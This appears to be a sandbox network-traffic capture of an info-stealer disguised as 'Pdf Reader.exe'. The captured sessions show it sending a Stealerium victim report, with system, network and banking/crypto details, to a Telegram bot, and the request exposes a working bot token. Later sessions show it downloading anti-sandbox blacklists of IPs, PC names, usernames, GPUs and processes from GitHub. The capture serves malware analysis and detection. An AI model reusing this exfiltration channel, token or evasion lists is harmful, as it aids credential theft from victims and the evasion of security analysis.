2024-12-03 09:28:25 UTC	2101	OUT	GET /bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage?chat_id=-4224073938&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.6.3%20-%20Report%3A%2A%0ADate%3A%202024-12-03%204%3A28%3A04%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20562258%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20CSS15%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%2 [TRUNCATED] Host: api.telegram.org Connection: Keep-Alive
2024-12-03 09:28:25 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 09:28:25 GMT Content-Type: application/json Content-Length: 1658 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 09:28:25 UTC	1658	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 34 31 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 39 32 36 34 37 34 38 31 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 72 61 69 6e 65 72 57 34 79 77 33 72 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 72 61 69 6e 65 72 57 34 79 77 33 72 64 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 32 32 34 30 37 33 39 33 38 2c 22 74 69 74 6c 65 22 3a 22 43 61 73 68 6f 75 74 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 38 31 30 35 Data Ascii: {"ok":true,"result":{"message_id":14192,"from":{"id":6926474815,"is_bot":true,"first_name":"DrainerW4yw3rd","username":"DrainerW4yw3rd_bot"},"chat":{"id":-4224073938,"title":"Cashout","type":"group","all_members_are_administrators":true},"date":1733218105

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	185.199.110.133	443	4812	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:38 UTC	130	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:38 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2853 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "a0f0ad87a3cc1741bf24d6d8ec37619ff28dab76edf802ca5ceb0e1349232152" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 34E7:16F29C:5BD0CB:65B59C:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740021-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218119.524655,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 05f1bcf3af67099f268f71b572ad5de39a6d72ef Expires: Tue, 03 Dec 2024 09:33:38 GMT Source-Age: 31
2024-12-03 09:28:38 UTC	1378	IN	Data Raw: 31 30 2e 32 30 30 2e 31 36 39 2e 32 30 34 0a 31 30 34 2e 31 39 38 2e 31 35 35 2e 31 37 33 0a 31 30 34 2e 32 30 30 2e 31 35 31 2e 33 35 0a 31 30 39 2e 31 34 35 2e 31 37 33 2e 31 36 39 0a 31 30 39 2e 32 32 36 2e 33 37 2e 31 37 32 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 30 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 31 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 32 0a 31 34 30 2e 32 32 38 2e 32 31 2e 33 36 0a 31 34 39 2e 38 38 2e 31 31 31 2e 37 39 0a 31 35 34 2e 36 31 2e 37 31 2e 35 30 0a 31 35 34 2e 36 31 2e 37 31 2e 35 31 0a 31 37 32 2e 31 30 35 2e 38 39 2e 32 30 32 0a 31 37 34 2e 37 2e 33 32 2e 31 39 39 0a 31 37 36 2e 36 33 2e 34 2e 31 37 39 0a 31 37 38 2e 32 33 39 2e 31 36 35 2e 37 30 0a 31 38 31 2e 32 31 34 2e 31 35 33 2e 31 31 0a 31 38 35 2e 32 32 30 2e 31 30 31 Data Ascii: 10.200.169.204104.198.155.173104.200.151.35109.145.173.169109.226.37.172109.74.154.90109.74.154.91109.74.154.92140.228.21.36149.88.111.79154.61.71.50154.61.71.51172.105.89.202174.7.32.199176.63.4.179178.239.165.70181.214.153.11185.220.101
2024-12-03 09:28:38 UTC	1378	IN	Data Raw: 30 2e 31 31 38 0a 32 31 33 2e 33 33 2e 31 39 30 2e 31 37 31 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 37 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 33 35 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 36 0a 32 31 33 2e 33 33 2e 31 39 30 2e 36 39 0a 32 31 33 2e 33 33 2e 31 39 30 2e 37 34 0a 32 33 2e 31 32 38 2e 32 34 38 2e 34 36 0a 33 34 2e 31 30 35 2e 30 2e 32 37 0a 33 34 2e 31 30 35 2e 31 38 33 2e 36 38 0a 33 34 2e 31 30 35 2e 37 32 2e 32 34 31 0a 33 34 2e 31 33 38 2e 32 35 35 2e 31 30 34 0a 33 34 2e 31 33 38 2e 39 36 2e 32 33 0a 33 34 2e 31 34 31 2e 31 34 36 2e 31 31 34 0a 33 34 2e 31 34 31 2e 32 34 35 2e 32 35 0a 33 34 2e 31 34 32 2e 37 34 Data Ascii: 0.118213.33.190.171213.33.190.22213.33.190.227213.33.190.242213.33.190.35213.33.190.42213.33.190.46213.33.190.69213.33.190.7423.128.248.4634.105.0.2734.105.183.6834.105.72.24134.138.255.10434.138.96.2334.141.146.11434.141.245.2534.142.74
2024-12-03 09:28:38 UTC	97	IN	Data Raw: 35 2e 37 31 2e 36 35 0a 39 35 2e 32 35 2e 37 31 2e 37 30 0a 39 35 2e 32 35 2e 37 31 2e 38 30 0a 39 35 2e 32 35 2e 37 31 2e 38 36 0a 39 35 2e 32 35 2e 37 31 2e 38 37 0a 39 35 2e 32 35 2e 37 31 2e 38 39 0a 39 35 2e 32 35 2e 37 31 2e 39 32 0a 39 35 2e 32 35 2e 38 31 2e 32 34 0a 4e 6f 6e 65 0a Data Ascii: 5.71.6595.25.71.7095.25.71.8095.25.71.8695.25.71.8795.25.71.8995.25.71.9295.25.81.24None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	185.199.110.133	443	4812	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:38 UTC	131	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:38 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1246 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "30981a4a96ce3533cb33ae7620077db7a4a8377cb1ef8fcfc8a07293fa2937d6" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C91A:370D5:8A718F:98445C:674ECF46 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740061-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733218118.478596,VS0,VE51 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: a4a8d282ee48dfac0dd857dc11b616de1e0c6949 Expires: Tue, 03 Dec 2024 09:33:38 GMT Source-Age: 0
2024-12-03 09:28:38 UTC	1246	IN	Data Raw: 32 39 5f 5f 48 45 52 45 0a 32 47 36 43 37 5a 36 31 0a 32 52 4f 5f 38 55 56 55 0a 32 53 4e 35 33 38 4b 34 0a 35 4b 42 4b 34 31 5f 4c 0a 35 4c 58 50 41 38 45 53 0a 35 50 45 43 4e 36 4c 31 0a 35 52 50 46 54 33 48 5a 0a 36 42 4f 53 34 4f 37 55 0a 36 42 5a 50 32 59 32 5f 0a 36 46 34 34 41 44 52 37 0a 36 4d 50 41 39 33 0a 37 32 32 39 48 39 47 39 0a 37 34 5a 5a 43 59 37 41 0a 37 54 42 39 47 36 50 37 0a 38 34 4b 44 31 4b 53 4b 0a 38 4e 59 47 4b 33 46 4c 0a 38 59 33 42 53 58 4b 47 0a 39 53 46 37 32 46 47 37 0a 39 5a 37 37 44 4e 34 54 0a 5f 47 33 31 45 34 36 4e 0a 5f 50 48 4c 4e 59 47 52 0a 5f 54 39 57 35 4c 48 4f 0a 41 46 52 42 52 36 54 43 0a 41 4d 44 20 52 61 64 65 6f 6e 20 48 44 20 38 36 35 30 47 0a 41 53 50 45 45 44 20 47 72 61 70 68 69 63 73 20 46 61 6d 69 6c Data Ascii: 29__HERE2G6C7Z612RO_8UVU2SN538K45KBK41_L5LXPA8ES5PECN6L15RPFT3HZ6BOS4O7U6BZP2Y2_6F44ADR76MPA937229H9G974ZZCY7A7TB9G6P784KD1KSK8NYGK3FL8Y3BSXKG9SF72FG79Z77DN4T_G31E46N_PHLNYGR_T9W5LHOAFRBR6TCAMD Radeon HD 8650GASPEED Graphics Famil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	185.199.110.133	443	4812	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:38 UTC	135	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:38 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3145 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "72b0005e577398f4eb7596131aa14f87c4f7379acc30e24456d4830af5304467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A216:2962F4:5BA353:658837:674ECF26 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740047-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218119.531328,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6db223b78f6133df63774325ab6cd165f03279db Expires: Tue, 03 Dec 2024 09:33:38 GMT Source-Age: 30
2024-12-03 09:28:38 UTC	1378	IN	Data Raw: 30 30 39 30 30 42 43 38 33 38 30 32 0a 30 30 39 30 30 42 43 38 33 38 30 33 0a 30 43 43 34 37 41 43 38 33 38 30 33 0a 31 38 43 39 41 43 44 46 2d 37 43 30 30 2d 34 0a 33 43 45 43 45 46 43 38 33 38 30 36 0a 36 43 34 45 37 33 33 46 2d 43 32 44 39 2d 34 0a 41 42 49 47 41 49 0a 41 43 45 50 43 0a 41 49 44 41 4e 50 43 0a 41 4c 45 4e 4d 4f 4f 53 2d 50 43 0a 41 4c 49 4f 4e 45 0a 41 50 50 4f 4e 46 4c 59 2d 56 50 53 0a 41 52 43 48 49 42 41 4c 44 50 43 0a 61 7a 75 72 65 0a 42 33 30 46 30 32 34 32 2d 31 43 36 41 2d 34 0a 42 41 52 4f 53 49 4e 4f 2d 50 43 0a 42 45 43 4b 45 52 2d 50 43 0a 42 45 45 37 33 37 30 43 2d 38 43 30 43 2d 34 0a 43 38 31 46 36 36 43 38 33 38 30 35 0a 43 41 54 57 52 49 47 48 54 0a 43 48 53 48 41 57 0a 43 4f 46 46 45 45 2d 53 48 4f 50 0a 43 4f 4d 50 Data Ascii: 00900BC8380200900BC838030CC47AC8380318C9ACDF-7C00-43CECEFC838066C4E733F-C2D9-4ABIGAIACEPCAIDANPCALENMOOS-PCALIONEAPPONFLY-VPSARCHIBALDPCazureB30F0242-1C6A-4BAROSINO-PCBECKER-PCBEE7370C-8C0C-4C81F66C83805CATWRIGHTCHSHAWCOFFEE-SHOPCOMP
2024-12-03 09:28:38 UTC	1378	IN	Data Raw: 46 4f 0a 44 45 53 4b 54 4f 50 2d 4c 54 4d 43 4b 4c 41 0a 44 45 53 4b 54 4f 50 2d 4d 4a 43 36 35 30 30 0a 44 45 53 4b 54 4f 50 2d 4d 57 46 52 56 4b 48 0a 44 45 53 4b 54 4f 50 2d 4e 41 4b 46 46 4d 54 0a 44 45 53 4b 54 4f 50 2d 4e 4b 50 30 49 34 50 0a 44 45 53 4b 54 4f 50 2d 4e 4d 31 5a 50 4c 47 0a 44 45 53 4b 54 4f 50 2d 4e 54 55 37 56 55 4f 0a 44 45 53 4b 54 4f 50 2d 4f 36 46 42 4d 46 37 0a 44 45 53 4b 54 4f 50 2d 4f 37 42 49 33 50 54 0a 44 45 53 4b 54 4f 50 2d 50 41 30 46 4e 56 35 0a 44 45 53 4b 54 4f 50 2d 50 4b 51 4e 44 53 52 0a 44 45 53 4b 54 4f 50 2d 51 4c 4e 32 56 55 46 0a 44 45 53 4b 54 4f 50 2d 51 55 41 59 38 47 53 0a 44 45 53 4b 54 4f 50 2d 52 43 41 33 51 57 58 0a 44 45 53 4b 54 4f 50 2d 52 48 58 44 4b 57 57 0a 44 45 53 4b 54 4f 50 2d 52 50 34 46 Data Ascii: FODESKTOP-LTMCKLADESKTOP-MJC6500DESKTOP-MWFRVKHDESKTOP-NAKFFMTDESKTOP-NKP0I4PDESKTOP-NM1ZPLGDESKTOP-NTU7VUODESKTOP-O6FBMF7DESKTOP-O7BI3PTDESKTOP-PA0FNV5DESKTOP-PKQNDSRDESKTOP-QLN2VUFDESKTOP-QUAY8GSDESKTOP-RCA3QWXDESKTOP-RHXDKWWDESKTOP-RP4F
2024-12-03 09:28:38 UTC	389	IN	Data Raw: 45 45 4c 35 33 53 4e 0a 57 49 4e 5a 44 53 2d 31 42 48 52 56 50 51 55 0a 57 49 4e 5a 44 53 2d 32 32 55 52 4a 49 42 56 0a 57 49 4e 5a 44 53 2d 33 46 46 32 49 39 53 4e 0a 57 49 4e 5a 44 53 2d 35 4a 37 35 44 54 48 48 0a 57 49 4e 5a 44 53 2d 36 54 55 49 48 4e 37 52 0a 57 49 4e 5a 44 53 2d 38 4d 41 45 49 38 45 34 0a 57 49 4e 5a 44 53 2d 39 49 4f 37 35 53 56 47 0a 57 49 4e 5a 44 53 2d 41 4d 37 36 48 50 4b 32 0a 57 49 4e 5a 44 53 2d 42 30 33 4c 39 43 45 4f 0a 57 49 4e 5a 44 53 2d 42 4d 53 4d 44 38 4d 45 0a 57 49 4e 5a 44 53 2d 42 55 41 4f 4b 47 47 31 0a 57 49 4e 5a 44 53 2d 4b 37 56 49 4b 34 46 43 0a 57 49 4e 5a 44 53 2d 4d 49 4c 4f 42 4d 33 35 0a 57 49 4e 5a 44 53 2d 50 55 30 55 52 50 56 49 0a 57 49 4e 5a 44 53 2d 51 4e 47 4b 47 4e 35 39 0a 57 49 4e 5a 44 53 2d Data Ascii: EEL53SNWINZDS-1BHRVPQUWINZDS-22URJIBVWINZDS-3FF2I9SNWINZDS-5J75DTHHWINZDS-6TUIHN7RWINZDS-8MAEI8E4WINZDS-9IO75SVGWINZDS-AM76HPK2WINZDS-B03L9CEOWINZDS-BMSMD8MEWINZDS-BUAOKGG1WINZDS-K7VIK4FCWINZDS-MILOBM35WINZDS-PU0URPVIWINZDS-QNGKGN59WINZDS-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	185.199.110.133	443	4812	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:38 UTC	137	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:38 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 31 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "b8ccbe01df84b6df59046ff7ef97fe02bbba9374a7a63f24d1c8a0b07083adca" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2AFA:2AD828:586378:62498C:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740039-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218119.527905,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d1ccb57205414e96fef82e24728a1c93904391c6 Expires: Tue, 03 Dec 2024 09:33:38 GMT Source-Age: 31
2024-12-03 09:28:38 UTC	31	IN	Data Raw: 56 6d 52 65 6d 6f 74 65 47 75 65 73 74 2e 65 78 65 0a 53 79 73 6d 6f 6e 36 34 2e 65 78 65 0a Data Ascii: VmRemoteGuest.exeSysmon64.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49752	185.199.110.133	443	4812	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:38 UTC	134	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:38 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1110 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "1224175461dce581d971884e2b8af67d12f105702cbcc56be1043ccc84319e42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 551A:7502:5DF99A:67DE41:674ECF26 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740044-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218119.580409,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8feeef12b66485d089c2a381c0c76e3c0868770c Expires: Tue, 03 Dec 2024 09:33:38 GMT Source-Age: 31
2024-12-03 09:28:38 UTC	1110	IN	Data Raw: 30 38 31 61 62 33 39 35 2d 35 65 38 35 2d 34 36 33 34 2d 61 63 64 62 2d 32 64 62 64 34 66 35 39 61 37 64 30 0a 30 38 39 65 36 32 31 63 2d 31 34 32 32 2d 34 38 35 36 2d 61 38 62 31 2d 33 66 31 64 62 32 30 38 63 65 39 65 0a 31 30 37 39 37 66 31 64 2d 39 36 31 33 2d 34 38 33 32 2d 62 31 61 33 2d 63 32 32 66 65 33 36 35 62 38 39 64 0a 31 35 39 34 37 38 30 32 2d 63 62 39 63 2d 34 37 38 66 2d 61 66 35 63 2d 33 33 62 31 61 62 62 64 31 62 66 65 0a 31 61 38 35 63 36 36 30 2d 31 66 39 38 2d 34 32 63 61 2d 62 31 63 62 2d 31 39 39 66 36 33 65 31 64 38 30 37 0a 32 62 35 33 36 35 66 31 2d 65 65 62 62 2d 34 31 33 35 2d 62 36 65 31 2d 34 31 33 61 61 62 32 39 39 66 63 62 0a 34 35 30 38 61 66 64 33 2d 35 66 30 35 2d 34 39 31 65 2d 62 34 39 66 2d 62 34 34 30 32 34 39 36 37 Data Ascii: 081ab395-5e85-4634-acdb-2dbd4f59a7d0089e621c-1422-4856-a8b1-3f1db208ce9e10797f1d-9613-4832-b1a3-c22fe365b89d15947802-cb9c-478f-af5c-33b1abbd1bfe1a85c660-1f98-42ca-b1cb-199f63e1d8072b5365f1-eebb-4135-b6e1-413aab299fcb4508afd3-5f05-491e-b49f-b44024967

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49750	185.199.110.133	443	4812	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:38 UTC	139	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:38 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "bbf75a064e165fba2b8fcc6595e496788fe27c3185ffa2fa56d3479e12867693" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4D6E:3EA9F3:642160:6E077E:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740069-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218119.580567,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6f9751476972a7d8d09d5106996362a0a0ad6314 Expires: Tue, 03 Dec 2024 09:33:38 GMT Source-Age: 31
2024-12-03 09:28:38 UTC	1275	IN	Data Raw: 30 35 68 30 30 47 69 30 0a 30 35 4b 76 41 55 51 4b 50 51 0a 32 31 7a 4c 75 63 55 6e 66 49 38 35 0a 33 75 32 76 39 6d 38 0a 34 33 42 79 34 0a 34 74 67 69 69 7a 73 4c 69 6d 53 0a 35 73 49 42 4b 0a 35 59 33 79 37 33 0a 67 72 65 70 65 74 65 0a 36 34 46 32 74 4b 49 71 4f 35 0a 36 4f 34 4b 79 48 68 4a 58 42 69 52 0a 37 44 42 67 64 78 75 0a 37 77 6a 6c 47 58 37 50 6a 6c 57 34 0a 38 4c 6e 66 41 61 69 39 51 64 4a 52 0a 38 4e 6c 30 43 6f 6c 4e 51 35 62 71 0a 38 56 69 7a 53 4d 0a 39 79 6a 43 50 73 45 59 49 4d 48 0a 41 62 62 79 0a 61 63 6f 78 0a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 0a 41 6d 79 0a 61 6e 64 72 65 61 0a 41 70 70 4f 6e 46 6c 79 53 75 70 70 6f 72 74 0a 41 53 50 4e 45 54 0a 61 7a 75 72 65 0a 62 61 72 62 61 72 72 61 79 0a 62 65 6e 6a 61 68 0a 42 72 75 6e Data Ascii: 05h00Gi005KvAUQKPQ21zLucUnfI853u2v9m843By44tgiizsLimS5sIBK5Y3y73grepete64F2tKIqO56O4KyHhJXBiR7DBgdxu7wjlGX7PjlW48LnfAai9QdJR8Nl0ColNQ5bq8VizSM9yjCPsEYIMHAbbyacoxAdministratorAmyandreaAppOnFlySupportASPNETazurebarbarraybenjahBrun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	185.199.110.133	443	7384	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:45 UTC	130	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:46 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2853 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "a0f0ad87a3cc1741bf24d6d8ec37619ff28dab76edf802ca5ceb0e1349232152" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 34E7:16F29C:5BD0CB:65B59C:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:45 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740077-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218126.943147,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 716cb0433ded71a013aea1ab07d755ed8681b362 Expires: Tue, 03 Dec 2024 09:33:45 GMT Source-Age: 38
2024-12-03 09:28:46 UTC	1378	IN	Data Raw: 31 30 2e 32 30 30 2e 31 36 39 2e 32 30 34 0a 31 30 34 2e 31 39 38 2e 31 35 35 2e 31 37 33 0a 31 30 34 2e 32 30 30 2e 31 35 31 2e 33 35 0a 31 30 39 2e 31 34 35 2e 31 37 33 2e 31 36 39 0a 31 30 39 2e 32 32 36 2e 33 37 2e 31 37 32 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 30 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 31 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 32 0a 31 34 30 2e 32 32 38 2e 32 31 2e 33 36 0a 31 34 39 2e 38 38 2e 31 31 31 2e 37 39 0a 31 35 34 2e 36 31 2e 37 31 2e 35 30 0a 31 35 34 2e 36 31 2e 37 31 2e 35 31 0a 31 37 32 2e 31 30 35 2e 38 39 2e 32 30 32 0a 31 37 34 2e 37 2e 33 32 2e 31 39 39 0a 31 37 36 2e 36 33 2e 34 2e 31 37 39 0a 31 37 38 2e 32 33 39 2e 31 36 35 2e 37 30 0a 31 38 31 2e 32 31 34 2e 31 35 33 2e 31 31 0a 31 38 35 2e 32 32 30 2e 31 30 31 Data Ascii: 10.200.169.204104.198.155.173104.200.151.35109.145.173.169109.226.37.172109.74.154.90109.74.154.91109.74.154.92140.228.21.36149.88.111.79154.61.71.50154.61.71.51172.105.89.202174.7.32.199176.63.4.179178.239.165.70181.214.153.11185.220.101
2024-12-03 09:28:46 UTC	1378	IN	Data Raw: 30 2e 31 31 38 0a 32 31 33 2e 33 33 2e 31 39 30 2e 31 37 31 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 37 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 33 35 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 36 0a 32 31 33 2e 33 33 2e 31 39 30 2e 36 39 0a 32 31 33 2e 33 33 2e 31 39 30 2e 37 34 0a 32 33 2e 31 32 38 2e 32 34 38 2e 34 36 0a 33 34 2e 31 30 35 2e 30 2e 32 37 0a 33 34 2e 31 30 35 2e 31 38 33 2e 36 38 0a 33 34 2e 31 30 35 2e 37 32 2e 32 34 31 0a 33 34 2e 31 33 38 2e 32 35 35 2e 31 30 34 0a 33 34 2e 31 33 38 2e 39 36 2e 32 33 0a 33 34 2e 31 34 31 2e 31 34 36 2e 31 31 34 0a 33 34 2e 31 34 31 2e 32 34 35 2e 32 35 0a 33 34 2e 31 34 